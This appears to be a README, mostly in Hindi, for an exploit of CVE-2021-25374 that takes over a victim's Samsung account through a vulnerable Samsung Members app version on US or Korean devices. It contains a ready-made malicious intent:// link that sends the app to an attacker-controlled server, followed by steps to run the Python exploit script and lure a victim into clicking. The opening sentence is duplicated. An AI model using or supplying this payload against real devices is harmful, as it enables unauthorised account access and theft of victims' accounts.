reverseclabs/cve-2021-25374_samsung-account-accessयह स्क्रिप्ट का उपयोग किसी पीड़ित के Samsung खाते तक पहुंच प्राप्त करने के लिए किया जा सकता है, यदि उनके Samsung डिवाइस पर Samsung Members का एक विशिष्ट संस्करण स्थापित है, और यदि पीड़ित का डिवाइस US या Korea क्षेत्र का है।
यह स्क्रिप्ट किसी पीड़ित के Samsung खाते तक पहुँच प्राप्त करने के लिए उपयोग की जा सकती है, यदि उनके Samsung डिवाइस पर Samsung Members का एक विशिष्ट संस्करण स्थापित है, और यदि पीड़ित का डिवाइस US या Korea क्षेत्र से है।
<a href="intent://launch?url=http://<attacker IP>:8000/yay.html&action=sso&from=ZZ&iso=ZZ#Intent;scheme=samsungrewards;package=com.samsung.android.voc;action=android.intent.action.VIEW;end;">yay click here yay</a>
नोट: "<attacker IP>" को उस IP पते से बदलें जिससे आप यह स्क्रिप्ट चलाएंगे।
python3 ./samsung_account_access.py
एक Samsung फ़ोन का उपयोग करके, वेब सर्वर पर जाएँ और लिंक पर क्लिक करें
स्क्रिप्ट को अपना काम करने दें
इस स्क्रिप्ट द्वारा शोषित मुद्दे के बारे में अधिक जानकारी यहाँ पाई जा सकती है:
